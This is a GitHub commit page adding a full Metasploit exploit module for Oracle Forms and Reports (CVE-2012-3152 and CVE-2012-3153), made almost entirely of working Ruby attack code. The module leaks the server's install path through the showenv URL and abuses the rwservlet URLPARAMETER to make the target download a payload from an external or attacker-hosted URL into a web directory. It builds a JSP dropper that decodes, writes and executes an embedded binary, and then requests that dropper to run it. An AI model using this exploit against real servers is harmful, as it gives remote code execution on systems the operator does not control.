Skip to content

Commit 52ac85b

Browse files
committed
Land rapid7#2931 - Oracle Forms and Reports RCE
2 parents 9daffbd + 110ffbf commit 52ac85b

File tree

1 file changed

+266
-0
lines changed

1 file changed

+266
-0
lines changed
Lines changed: 266 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,266 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'uri'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
include Msf::Exploit::EXE
14+
15+
Rank = GreatRanking
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Oracle Forms and Reports Remote Code Execution',
20+
'Description' => %q{
21+
This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
22+
on the host. The showenv url can be used to disclose information about a server. A second
23+
vulnerability that allows arbitrary reading and writing to the host filesystem can then be
24+
used to write a shell from a remote url to a known local path disclosed from the previous
25+
vulnerability.
26+
27+
The local path being accessable from an URL then allows us to perform the remote code
28+
execution using for example a .jsp shell.
29+
30+
Tested on Windows and Oracle Forms and Reports 10.1.
31+
},
32+
'Author' =>
33+
[
34+
'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
35+
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
[ "CVE", "2012-3152" ],
41+
[ "CVE", "2012-3153" ],
42+
[ "OSVDB", "86395" ], # Matches CVE-2012-3152
43+
[ "OSVDB", "86394" ], # Matches CVE-2012-3153
44+
[ "EDB", "31253" ],
45+
[ 'URL', "http://netinfiltration.com" ]
46+
],
47+
'Stance' => Msf::Exploit::Stance::Aggressive,
48+
'Platform' => ['win', 'linux'],
49+
'Targets' =>
50+
[
51+
[ 'Linux',
52+
{
53+
'Arch' => ARCH_X86,
54+
'Platform' => 'linux'
55+
}
56+
],
57+
[ 'Windows',
58+
{
59+
'Arch' => ARCH_X86,
60+
'Platform' => 'win'
61+
}
62+
],
63+
],
64+
'DefaultTarget' => 0,
65+
'DisclosureDate' => 'Jan 15 2014'
66+
))
67+
register_options(
68+
[
69+
OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
70+
OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
71+
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
72+
])
73+
end
74+
75+
def check
76+
res = send_request_cgi({
77+
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
78+
'method' => 'GET'
79+
})
80+
81+
if res and res.code == 200
82+
if res.body =~ /\\(.*)\\showenv/
83+
vprint_good "#{peer} - Windows install detected "
84+
path = $1.gsub("\\", "/")
85+
vprint_status "#{peer} - Path: #{path}"
86+
elsif res.body =~ /\/(.*)\/showenv/
87+
vprint_good "#{peer} - Linux install detected"
88+
vprint_status "#{peer} - Path: #{$1}"
89+
else
90+
return Exploit::CheckCode::Safe
91+
end
92+
end
93+
94+
res = send_request_cgi({
95+
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
96+
'method' => 'GET',
97+
'vars_get' => {
98+
'report' => 'test.rdf',
99+
'desformat' => 'html',
100+
'destype' => 'cache',
101+
'JOBTYPE' => 'rwurl',
102+
'URLPARAMETER' => 'file:///'
103+
}
104+
})
105+
106+
if res and res.code == 200 and res.body.downcase.exclude?("<html>")
107+
vprint_good "#{peer} - URLPARAMETER is vulnerable"
108+
return Exploit::CheckCode::Vulnerable
109+
else
110+
vprint_status "#{peer} - URLPARAMETER is not vulnerable"
111+
return Exploit::CheckCode::Safe
112+
end
113+
114+
return Exploit::CheckCode::Safe
115+
end
116+
117+
def exploit
118+
@payload_url = ""
119+
@payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
120+
@payload_dir = datastore['PAYDIR']
121+
@local_path = ""
122+
123+
print_status "#{peer} - Querying showenv!"
124+
res = send_request_cgi({
125+
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
126+
'method' => 'GET',
127+
})
128+
129+
if res and res.code == 200
130+
if res.body =~ /\\(.*)\\showenv/
131+
print_good "#{peer} - Query succeeded!"
132+
print_status "#{peer} - Windows install detected "
133+
@local_path = $1.gsub("\\", "/")
134+
print_status "#{peer} - Path: #{@local_path }"
135+
elsif res.body =~ /\/(.*)\/showenv/
136+
print_good "#{peer} - Query succeeded!"
137+
print_status "#{peer} - Linux install detected"
138+
@local_path = $1
139+
print_status "#{peer} - Path: #{@local_path }"
140+
else
141+
print_status "#{peer} - Query failed"
142+
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
143+
end
144+
else
145+
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
146+
end
147+
148+
if datastore['EXTURL'].blank?
149+
print_status "#{peer} - Hosting payload locally ..."
150+
begin
151+
Timeout.timeout(datastore['HTTPDELAY']) {super}
152+
rescue Timeout::Error
153+
end
154+
exec_payload
155+
else
156+
print_status "#{peer} - Using external url for payload delivery ..."
157+
@payload_url = datastore['EXTURL']
158+
upload_payload
159+
exec_payload
160+
end
161+
end
162+
163+
def primer
164+
@payload_url = get_uri
165+
@pl = gen_file_dropper
166+
upload_payload
167+
end
168+
169+
def on_request_uri(cli, request)
170+
send_response(cli, @pl)
171+
end
172+
173+
def upload_payload
174+
print_status "#{peer} - Uploading payload ..."
175+
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
176+
res = send_request_cgi({
177+
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
178+
'method' => 'GET',
179+
'encode_params' => false,
180+
'vars_get' => {
181+
'report' => 'test.rdf',
182+
'desformat' => 'html',
183+
'destype' => 'file',
184+
'desname' => path,
185+
'JOBTYPE' => 'rwurl',
186+
'URLPARAMETER' => @payload_url
187+
}
188+
})
189+
190+
if res and res.code == 200
191+
print_good "#{peer} - Payload hopefully uploaded!"
192+
else
193+
print_status "#{peer} - Payload upload failed"
194+
end
195+
end
196+
197+
def gen_file_dropper
198+
big_payload = false #size matters :(
199+
200+
gen_payload_name = rand_text_alpha(8+rand(8))
201+
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
202+
print_status "#{peer} - Building JSP shell ..."
203+
204+
len = encoded_pl.length
205+
if len >= 60000 #java string size limit ~60k workaround
206+
print_status "#{peer} - Adjusting shell due to payload size"
207+
pl_first = encoded_pl.slice(0, 60000)
208+
pl_second = encoded_pl.slice(60000, len)
209+
big_payload = true
210+
end
211+
212+
#embed our payload
213+
shell = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
214+
shell += " <%"
215+
shell += " BASE64Decoder decoder = new BASE64Decoder();"
216+
#correct file suffix if windows
217+
if datastore['TARGET'] == 1
218+
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
219+
else
220+
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
221+
end
222+
shell += " String path = temp.getAbsolutePath();"
223+
if big_payload
224+
shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
225+
shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"
226+
227+
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
228+
shell += " ou.write(pl);"
229+
shell += " ou.close();"
230+
231+
shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
232+
shell += " ou.write(pltwo);"
233+
shell += " ou.close();"
234+
else
235+
shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
236+
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
237+
shell += " ou.write(pl);"
238+
shell += " ou.close();"
239+
end
240+
#correct rights if linux host
241+
if datastore['TARGET'] == 0
242+
shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
243+
shell += " p.waitFor();"
244+
end
245+
shell += " Runtime.getRuntime().exec(path);"
246+
shell += "%>"
247+
248+
return shell
249+
end
250+
251+
def exec_payload
252+
print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
253+
print_status("#{peer} - Executing payload...")
254+
255+
res = send_request_cgi({
256+
'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
257+
'method' => 'GET'
258+
})
259+
260+
if res and res.code == 200
261+
print_good("#{peer} - Payload executed!")
262+
else
263+
print_status("#{peer} - Payload execution failed")
264+
end
265+
end
266+
end

0 commit comments

Comments
 (0)